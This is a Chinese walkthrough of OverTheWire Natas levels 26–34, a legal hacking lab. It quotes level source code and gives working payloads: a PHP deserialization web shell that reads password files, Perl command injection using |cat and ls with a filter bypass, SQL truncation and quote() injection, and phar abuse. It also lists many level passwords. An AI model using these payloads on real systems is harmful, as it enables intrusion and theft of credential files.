level26
URL:http://natas26.natas.labs.overthewire.org
Username: natas26
Password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
源码:
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
function showImage($filename){
if(file_exists($filename))
echo "<img src=\"$filename\">";
}
function drawImage($filename){
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
}
function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color);
}
}
}
function storeData(){
$new_object=array();
if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
?>
<h1>natas26</h1>
<div id="content">
Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form>
<?php
session_start();
if (array_key_exists("drawing", $_COOKIE) ||
( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
$imgfile="img/natas26_" . session_id() .".png";
drawImage($imgfile);
showImage($imgfile);
storeData();
}
?>
随便提交参数
GET /?x1=1&y1=1&x2=1&y2=1 HTTP/1.1
生成的cookie:
GET /img/natas26_hu5irlcadutt0n5rp7bdod5mo2.png HTTP/1.1
Host: natas26.natas.labs.overthewire.org
Referer: http://natas26.natas.labs.overthewire.org/?x1=1&y1=1&x2=1&y2=1
Cookie: PHPSESSID=hu5irlcadutt0n5rp7bdod5mo2; drawing=YToxOntpOjA7YTo0OntzOjI6IngxIjtzOjE6IjEiO3M6MjoieTEiO3M6MToiMSI7czoyOiJ4MiI7czoxOiIxIjtzOjI6InkyIjtzOjE6IjEiO319
将cookie中drawing的值进行base64解码
a:1:{i:0;a:4:{s:2:"x1";s:1:"1";s:2:"y1";s:1:"1";s:2:"x2";s:1:"1";s:2:"y2";s:1:"1";}}
代码对传入的参数为进行任何过滤,只是检测cookie中是否drawing
关键源码:
function storeData(){
$new_object=array();
if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
if (array_key_exists("drawing", $_COOKIE)){ $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
根据上面的代码,我们伪造cookie中drawing的值,会经过unserialize()函数处理,执行完后会调用__destruct()方法,将有关内容写入文件
直接构造payload:
O:6:“Logger”:3:{s:15:" Logger logFile";s:11:“img/aaa.php”;s:15:" Logger initMsg";s:0:"";s:15:" Logger exitMsg";s:46:"<?echo include '/etc/natas_webpass/natas27';?>";}
因为根据变量的不同,经过序列化后的字符串是有区别的:
变量类别分三种:
Ⅰ)public:正常操作,在序列化时原型就可以;
Ⅱ)protected:序列化后,在变量名前面加上%00*%00;
Ⅲ)private:序列化后,在变量名前加上%00类名%00;
详细请参考我的文章《php反序列化漏洞的简单复现(一)》
base64加密:
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMToiaW1nL2FhYS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NjoiPD9lY2hvIGluY2x1ZGUgJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jzs/PiI7fQ==
用php生成payload
<?php
class Logger{
private $logFile ;
private $initMsg ;
private $exitMsg ;
function __construct(){ #注入信息
$this ->initMsg= "" ;
$this ->exitMsg= "<?echo include '/etc/natas_webpass/natas27';?>" ;
$this ->logFile= "img/aaa.php" ;
}
}
$test = new Logger();
echo serialize( $test );
echo "\n" ;
echo base64_encode (serialize( $test )); #显示base64编码后的序列化字符串
?>
访问:http://natas26.natas.labs.overthewire.org/img/aaa.php
获取密码:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
level27
http://natas27.natas.labs.overthewire.org
username:natas27
password:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
原理:
对于VARCHAR列,超出列长度的尾随空格将在插入之前被截断,并生成警告,而不管使用的是哪种SQL模式。对于 CHAR列,无论SQL模式如何,都会以静默方式执行截断从插入值的多余结尾空格。
所有MySQL排序规则都是PAD SPACE类型。这意味着所有的 CHAR和VARCHAR,和 TEXT值被比较,而不考虑任何尾随空格。
重点:在插入(insert)时溢出部分将全部被截断,而查询(select)的时候却不会
payload:
username:natas28 aaa(中间空白为超过64个空格)
password:任意
再次使用natas28和刚才的密码,输出natas28的密码
level28
http://natas28.natas.labs.overthewire.org
username:natas28
password:JWwR438wkgTsNKBbcJoowyysdM82YjeF
这题考察ecp加密,不懂,暂时跳过
natas29:airooCaiseiyee8he8xongien9euhe8b
level29
http://natas29.natas.labs.overthewire.org
username:natas29
password:airooCaiseiyee8he8xongien9euhe8b
查看源码:
payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+index.pl%00
源码:
if(param('file'))
{
$f=param('file');
if($f=~/natas/)
{
print "meeeeeep!";
}
else
{
open(FD, "$f.txt");
print "";
while (){
print CGI::escapeHTML($_);
}
print "";
}
}
这部分代码过滤了natas,我们可以将其绕过。
payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+/etc/na%22tas_webpass/nat%22as30%00
natas30 password:wie9iexae0Daihohv8vuu3cei9wahf0e
level30
http://natas30.natas.labs.overthewire.org
username:natas30 password:wie9iexae0Daihohv8vuu3cei9wahf0e
源码:
if ('POST' eq request_method && param('username') && param('password')){
my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));
my $sth = $dbh->prepare($query);
$sth->execute();
my $ver = $sth->fetch();
if ($ver){
print "win!<br>";
print "here is your result:<br>";
print @$ver;
}
else{
print "fail :(";
}
$sth->finish();
$dbh->disconnect();
}
资料表示,quote()函数采用列表参数,并解析第二项作为一个选项参数来表示第一项的类型。如果类型是非字符串,则它将返回first的值而不进行任何引用。因此第一个password必须是字符型。
可以构造POST:
username=xx&password='sdf’ or 1=1 &password=2
natas31:hay7aecuungiuKaezuathuk9biin0pu1
level31
http://natas31.natas.labs.overthewire.org
username:natas31
password:hay7aecuungiuKaezuathuk9biin0pu1
详细原理可参考大师傅的文章《natas(28-34)(终章)》
本文只是复现,perl语言的函数确实还不了解
password:no1vohsheCaiv3ieH4em1ahchisainge
level32
http://natas32.natas.labs.overthewire.org
username:natas32
password:no1vohsheCaiv3ieH4em1ahchisainge
index.pl源码:
my $cgi = CGI->new;
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
print '<table class="sortable table table-hover table-striped">';
$i=0;
while (<$file>) {
my @elements=split /,/, $_;
if($i==0){ # header
print "<tr>";
foreach(@elements){
print "<th>".$cgi->escapeHTML($_)."</th>";
}
print "</tr>";
}
else{ # table content
print "<tr>";
foreach(@elements){
print "<td>".$cgi->escapeHTML($_)."</td>";
}
print "</tr>";
}
$i+=1;
}
print '</table>';
}
else{
print <<END;
同上题,参考大师傅的文章《natas(28-34)(终章)》
本文只是复现,perl语言的函数确实还不了解
/index.pl?/bin/ls%20-l%20.%20|
查看文件getpassword.c文件内容
/index.pl?/bin/cat%20getpassword.c%20|
/index.pl?./getpassword%20|
password:shoogeiGa2yee3de6Aex8uaXeech5eey
level33
http://natas33.natas.labs.overthewire.org
username:natas33
password:no1vohsheCaiv3ieH4em1ahchisainge
源码:
<?php
// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
private $filename="";
private $signature='adeafbadbabec0dedabada55ba55d00d';
private $init=False;
function __construct(){
$this->filename=$_POST["filename"];
if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {
echo "File is too big<br>";
}
else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
echo "Firmware upgrad initialised.<br>";
}
else{
echo "There was an error uploading the file, please try again!<br>";
}
}
}
function __destruct(){
// upgrade firmware at the end of this script
// "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
if(getcwd() === "/") chdir("/natas33/uploads/");
if(md5_file($this->filename) == $this->signature){
echo "Congratulations! Running firmware update: $this->filename <br>";
passthru("php " . $this->filename);
}
else{
echo "Failur! MD5sum mismatch!<br>";
}
}
}
?>
<?php
session_start();
if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
new Executor();}
?>
没想到是一个反序列化的题,新姿势,详细原理请参考大师傅的文章《natas(28-34)(终章)》,《利用 phar 拓展 php 反序列化漏洞攻击面》
本文只是复现,如果生成phar时报错“disabled by the php.ini setting phar.readonly”,修改本地php.ini文件配置为phar.readonly = Off
password:shu5ouSu6eicielahhae0mohd4ui5uig
level34
http://natas33.natas.labs.overthewire.org
username:natas33
password:shu5ouSu6eicielahhae0mohd4ui5uig